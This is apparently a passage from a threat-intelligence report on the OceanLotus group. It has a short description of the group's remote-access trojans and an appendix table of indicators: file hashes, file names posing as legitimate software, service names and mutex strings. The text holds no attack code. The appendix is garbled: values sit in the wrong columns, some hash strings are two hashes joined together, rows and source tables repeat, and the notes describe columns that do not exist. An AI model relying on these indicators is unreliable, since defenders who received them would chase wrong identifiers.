OceanLotus employs both home-brew and off-the-shelf RATs. They use PowerShell scripts from open-source exploit kits, including MSFvenom, Veil, and DKMC, to load shellcode and DLL payloads into memory. C2 functionality is customized to the target, and all domains are registered through an anonymization service called PrivacyGuardian.

The Roland and Remy trojans share similarities and some code re-use with other known OceanLotus malware. The overall design and development of these threats indicate they come from a well-funded development team. The OceanLotus Group uses an expansive amount of custom library code that can easily be repurposed for maximum effectiveness against their next target.

**Appendix**

OceanLotus Table
<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>File Size</th>
<th>Date Created</th>
<th>Time Created</th>
<th>Path Taken</th>
<th>Reason</th>
<th>Related Value</th>
<th>C2</th>
<th>C3</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>OceanLotus Table</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>C2</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>C3</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Status</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>MD5 SHA256</td>
<td>Source</td>
<td>File Status</td>
<td>Type</td>
<td>Owner</td>
<td>Extensions</td>
<td>Size</td>
<td>Timestamp</td>
<td>First Seen</td>
<td>ITW</td>
<td>Parent Relationships</td>
</tr>
<tr>
<td>-----------</td>
<td>--------</td>
<td>-------------</td>
<td>------</td>
<td>-------</td>
<td>------------</td>
<td>------</td>
<td>-----------</td>
<td>------------</td>
<td>-----</td>
<td>---------------------</td>
</tr>
<tr>
<td>5091430fac8b608ac612c35a1e29ce47cdeb22429657460dddc660727806b511</td>
<td>Firefox Setup</td>
<td>WinWord.exe</td>
<td>EXE</td>
<td>Denis</td>
<td>EXE</td>
<td>627e3ff5659b9a0ab9dc4b283c3288dd</td>
<td>5091430fac8b608ac612c35a1e29ce47cdeb22429657460dddc660727806b511</td>
<td>6 FirefoxUpdate.exe, Chi tiet noi dung bai</td>
<td>9/27/17 9:53</td>
<td>6b560e2fc0be10d0ffd9e5440101f083ed7f5328735df79fd6c537c61bfcfe88</td>
</tr>
<tr>
<td>890e5bd2650399d7fc3b543e8d1e65c0385f4d6003186245c8574c1913ca5d64</td>
<td>Firefox Setup</td>
<td>WinWord.exe</td>
<td>EXE</td>
<td>Denis</td>
<td>EXE</td>
<td>75a9d759678834ade92e6ed8c6de569</td>
<td>890e5bd2650399d7fc3b543e8d1e65c0385f4d6003186245c8574c1913ca5d64</td>
<td>6 FirefoxUpdate.exe, Chi tiet noi dung bai</td>
<td>9/27/17 9:53</td>
<td>6b560e2fc0be10d0ffd9e5440101f083ed7f5328735df79fd6c537c61bfcfe88</td>
</tr>
<tr>
<td>30d06e100215461ad1c5b3bdb7a3b65c61f0ad27ebd733c7a37f40bd4b64932e</td>
<td>Firefox Setup</td>
<td>WinWord.exe</td>
<td>EXE</td>
<td>Denis</td>
<td>EXE</td>
<td>6 FontExt.dll</td>
<td>30d06e100215461ad1c5b3bdb7a3b65c61f0ad27ebd733c7a37f40bd4b64932e</td>
<td>6 FirefoxUpdate.exe, Chi tiet noi dung bai</td>
<td>9/27/17 9:53</td>
<td>6b560e2fc0be10d0ffd9e5440101f083ed7f5328735df79fd6c537c61bfcfe88</td>
</tr>
<tr>
<td>4ab2df974e5e563f611d7267916a00c18f819f5b8770ffcfadc5e1959047fb8e</td>
<td>Firefox Setup</td>
<td>WinWord.exe</td>
<td>EXE</td>
<td>Denis</td>
<td>EXE</td>
<td>7 FontExt.dll</td>
<td>4ab2df974e5e563f611d7267916a00c18f819f5b8770ffcfadc5e1959047fb8e</td>
<td>6 FirefoxUpdate.exe, Chi tiet noi dung bai</td>
<td>9/27/17 9:53</td>
<td>6b560e2fc0be10d0ffd9e5440101f083ed7f5328735df79fd6c537c61bfcfe88</td>
</tr>
<tr>
<td>96b971c9ac868c8d9ae98618b9a9bddc4ab2df974e5e563f611d7267916a00c18f819f5b8770ffcfadc5e1959047fb8e</td>
<td>Firefox Setup</td>
<td>WinWord.exe</td>
<td>EXE</td>
<td>Denis</td>
<td>EXE</td>
<td>6, 7 FontExt.dll</td>
<td>96b971c9ac868c8d9ae98618b9a9bddc4ab2df974e5e563f611d7267916a00c18f819f5b8770ffcfadc5e1959047fb8e</td>
<td>6 FirefoxUpdate.exe, Chi tiet noi dung bai</td>
<td>9/27/17 9:53</td>
<td>6b560e2fc0be10d0ffd9e5440101f083ed7f5328735df79fd6c537c61bfcfe88</td>
</tr>
<tr>
<td>4ab2df974e5e563f611d7267916a00c18f819f5b8770ffcfadc5e1959047fb8e</td>
<td>Firefox Setup</td>
<td>WinWord.exe</td>
<td>EXE</td>
<td>Denis</td>
<td>EXE</td>
<td>6, 7 FontExt.dll</td>
<td>4ab2df974e5e563f611d7267916a00c18f819f5b8770ffcfadc5e1959047fb8e</td>
<td>6 FirefoxUpdate.exe, Chi tiet noi dung bai</td>
<td>9/27/17 9:53</td>
<td>6b560e2fc0be10d0ffd9e5440101f083ed7f5328735df79fd6c537c61bfcfe88</td>
</tr>
<tr>
<td>a7f98d3b7b7e2a7d1c194c2f26045618</td>
<td>Firefox Setup</td>
<td>WinWord.exe</td>
<td>EXE</td>
<td>Denis</td>
<td>EXE</td>
<td>6 FontExt.dll</td>
<td>a7f98d3b7b7e2a7d1c194c2f26045618</td>
<td>6 FirefoxUpdate.exe, Chi tiet noi dung bai</td>
<td>9/27/17 9:53</td>
<td>6b560e2fc0be10d0ffd9e5440101f083ed7f5328735df79fd6c537c61bfcfe88</td>
</tr>
<tr>
<td>c24e6d402a5adf1ece2d6a3dbe270e0904d43119d68e786255505825a273cad</td>
<td>Firefox Setup</td>
<td>WinWord.exe</td>
<td>EXE</td>
<td>Denis</td>
<td>EXE</td>
<td>6 FontExt.dll</td>
<td>c24e6d402a5adf1ece2d6a3dbe270e0904d43119d68e786255505825a273cad</td>
<td>6 FirefoxUpdate.exe, Chi tiet noi dung bai</td>
<td>9/27/17 9:53</td>
<td>6b560e2fc0be10d0ffd9e5440101f083ed7f5328735df79fd6c537c61bfcfe88</td>
</tr>
<tr>
<td>96b971c9ac868c8d9ae98618b9a9bddc4ab2df974e5e563f611d7267916a00c18f819f5b8770ffcfadc5e1959047fb8e</td>
<td>Firefox Setup</td>
<td>WinWord.exe</td>
<td>EXE</td>
<td>Denis</td>
<td>EXE</td>
<td>6, 7 FontExt.dll</td>
<td>96b971c9ac868c8d9ae98618b9a9bddc4ab2df974e5e563f611d7267916a00c18f819f5b8770ffcfadc5e1959047fb8e</td>
<td>6 FirefoxUpdate.exe, Chi tiet noi dung bai</td>
<td>9/27/17 9:53</td>
<td>6b560e2fc0be10d0ffd9e5440101f083ed7f5328735df79fd6c537c61bfcfe88</td>
</tr>
<tr>
<td>File Name</td>
<td>Type</td>
<td>Name</td>
<td>Aliases</td>
<td>Size</td>
<td>First Seen</td>
<td>Last Seen</td>
<td>Created On</td>
<td>Parent Relationships</td>
<td></td>
<td></td>
</tr>
<tr>
<td>--------------------</td>
<td>----------</td>
<td>---------------------</td>
<td>--------------------------------------------------------------------------</td>
<td>-------</td>
<td>------------</td>
<td>-----------</td>
<td>------------</td>
<td>--------------------------------------------------------------------------------------</td>
<td></td>
<td></td>
</tr>
<tr>
<td>clang_compiler32.dll</td>
<td>EXE</td>
<td>clang_compiler32.dll</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>clang_compiler32.dll</td>
<td>EXE</td>
<td>clang_compiler32.dll</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>msprivs.exe</td>
<td>EXE</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>xwizard.exe</td>
<td>EXE</td>
<td>xwizard.exe</td>
<td>Creates service (Windows Color System/ WcsPlugInService)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>SwUSB.exe</td>
<td>EXE</td>
<td></td>
<td>Creates service (Microsoft .NET Framework NGEN v2.0.50725_X86/ clr_optimization_v2.0.50725_86)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>mscorsvw.exe</td>
<td>EXE</td>
<td></td>
<td>Creates service (UPnP Device Hosts/upnphosts)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>WerFault.exe</td>
<td>EXE</td>
<td></td>
<td>Creates service (Microsoft .NET Framework NGEN v2.0.50725_X86/ clr_optimization_v2.0.50725_86)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>CiscoEapFast.exe</td>
<td>EXE</td>
<td></td>
<td>Backdoor which masquerades as Cisco process to:  &quot;C:\Program Files\Cisco\Cisco EAP-FAST Module\en-US\CiscoEapFAST.EXE&quot; - SHA256 - ce478c8aabc980083a62f4ce4b040f1068e648d7cf6f3f94f283fd620eb8da24,</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>SwUSB.exe</td>
<td>EXE</td>
<td></td>
<td>Creates Mutex (8633f77ce68d3a4ce13b3654701d2daf_%USERNAME%)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>CiscoEapFast.exe</td>
<td>EXE</td>
<td></td>
<td>Creates Mutex (45f0b79fb0ddda42a5af2aad9de927a2_%USERNAME%)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>rastls.dll</td>
<td>DLL</td>
<td></td>
<td>Creates Mutex (zzzzzaeed0484b6102964ccd8cccd38a_%USERNAME%), reg values</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>rastls.dll</td>
<td>DLL</td>
<td></td>
<td>Creates Mutex (89293C30-2C3E-4C21-8AF0-5070A19DCE6B_%USERNAME%),</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>clang_compiler32.dll</td>
<td>EXE</td>
<td>clang_compiler32.dll</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>clang_compiler32.dll</td>
<td>EXE</td>
<td>clang_compiler32.dll</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>msprivs.exe</td>
<td>EXE</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>xwizard.exe</td>
<td>EXE</td>
<td>xwizard.exe</td>
<td>Creates service (Windows Color System/ WcsPlugInService)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>SwUSB.exe</td>
<td>EXE</td>
<td></td>
<td>Creates service (Microsoft .NET Framework NGEN v2.0.50725_X86/ clr_optimization_v2.0.50725_86)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>mscorsvw.exe</td>
<td>EXE</td>
<td></td>
<td>Creates service (UPnP Device Hosts/upnphosts)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>WerFault.exe</td>
<td>EXE</td>
<td></td>
<td>Creates service (Microsoft .NET Framework NGEN v2.0.50725_X86/ clr_optimization_v2.0.50725_86)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>CiscoEapFast.exe</td>
<td>EXE</td>
<td></td>
<td>Backdoor which masquerades as Cisco process to:  &quot;C:\Program Files\Cisco\Cisco EAP-FAST Module\en-US\CiscoEapFAST.EXE&quot; - SHA256 - ce478c8aabc980083a62f4ce4b040f1068e648d7cf6f3f94f283fd620eb8da24,</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>SwUSB.exe</td>
<td>EXE</td>
<td></td>
<td>Creates Mutex (8633f77ce68d3a4ce13b3654701d2daf_%USERNAME%)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>CiscoEapFast.exe</td>
<td>EXE</td>
<td></td>
<td>Creates Mutex (45f0b79fb0ddda42a5af2aad9de927a2_%USERNAME%)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>rastls.dll</td>
<td>DLL</td>
<td></td>
<td>Creates Mutex (zzzzzaeed0484b6102964ccd8cccd38a_%USERNAME%), reg values</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>rastls.dll</td>
<td>DLL</td>
<td></td>
<td>Creates Mutex (89293C30-2C3E-4C21-8AF0-5070A19DCE6B_%USERNAME%),</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Notes:**
- The MD5 and SHA256 values are unique identifiers for each file.
- The Hosted On column lists the IP addresses and domains associated with each file.
- The C2 column refers to Command and Control channels used by the malware.
- The IOCS column indicates whether the file is on the Indicators of Compromise list.
- The Relationships column describes the dependencies and actions taken by the malware.

**Infected with Virus!**
<table>
<thead>
<tr>
<th>Source References</th>
<th>VT VirusTotal</th>
<th>Source References</th>
<th>VT VirusTotal</th>
</tr>
</thead>
<tbody>
<tr>
<td>Source</td>
<td><a href="https://mp.weixin.qq.com/s/a5abc26a34f4f21c20619146686670bf">https://mp.weixin.qq.com/s/a5abc26a34f4f21c20619146686670bf</a></td>
<td>Source</td>
<td><a href="https://mp.weixin.qq.com/s/UIV0YaIlSJLcYT32XJQPlg">https://mp.weixin.qq.com/s/UIV0YaIlSJLcYT32XJQPlg</a></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Source References</th>
<th>VT VirusTotal</th>
<th>Source References</th>
<th>VT VirusTotal</th>
</tr>
</thead>
<tbody>
<tr>
<td>Source</td>
<td><a href="https://mp.weixin.qq.com/s/a5abc26a34f4f21c20619146686670bf">https://mp.weixin.qq.com/s/a5abc26a34f4f21c20619146686670bf</a></td>
<td>Source</td>
<td><a href="https://mp.weixin.qq.com/s/UIV0YaIlSJLcYT32XJQPlg">https://mp.weixin.qq.com/s/UIV0YaIlSJLcYT32XJQPlg</a></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Source References</th>
<th>VT VirusTotal</th>
<th>Source References</th>
<th>VT VirusTotal</th>
</tr>
</thead>
<tbody>
<tr>
<td>Source</td>
<td><a href="https://mp.weixin.qq.com/s/a5abc26a34f4f21c20619146686670bf">https://mp.weixin.qq.com/s/a5abc26a34f4f21c20619146686670bf</a></td>
<td>Source</td>
<td><a href="https://mp.weixin.qq.com/s/UIV0YaIlSJLcYT32XJQPlg">https://mp.weixin.qq.com/s/UIV0YaIlSJLcYT32XJQPlg</a></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Source References</th>
<th>VT VirusTotal</th>
<th>Source References</th>
<th>VT VirusTotal</th>
</tr>
</thead>
<tbody>
<tr>
<td>Source</td>
<td><a href="https://mp.weixin.qq.com/s/a5abc26a34f4f21c20619146686670bf">https://mp.weixin.qq.com/s/a5abc26a34f4f21c20619146686670bf</a></td>
<td>Source</td>
<td><a href="https://mp.weixin.qq.com/s/UIV0YaIlSJLcYT32XJQPlg">https://mp.weixin.qq.com/s/UIV0YaIlSJLcYT32XJQPlg</a></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Source References</th>
<th>VT VirusTotal</th>
<th>Source References</th>
<th>VT VirusTotal</th>
</tr>
</thead>
<tbody>
<tr>
<td>Source</td>
<td><a href="https://mp.weixin.qq.com/s/a5abc26a34f4f21c20619146686670bf">https://mp.weixin.qq.com/s/a5abc26a34f4f21c20619146686670bf</a></td>
<td>Source</td>
<td><a href="https://mp.weixin.qq.com/s/UIV0YaIlSJLcYT32XJQPlg">https://mp.weixin.qq.com/s/UIV0YaIlSJLcYT32XJQPlg</a></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Source References</th>
<th>VT VirusTotal</th>
<th>Source References</th>
<th>VT VirusTotal</th>
</tr>
</thead>
<tbody>
<tr>
<td>Source</td>
<td><a href="https://mp.weixin.qq.com/s/a5abc26a34f4f21c20619146686670bf">https://mp.weixin.qq.com/s/a5abc26a34f4f21c20619146686670bf</a></td>
<td>Source</td>
<td><a href="https://mp.weixin.qq.com/s/UIV0YaIlSJLcYT32XJQPlg">https://mp.weixin.qq.com/s/UIV0YaIlSJLcYT32XJQPlg</a></td>
</tr>
</tbody>
</table>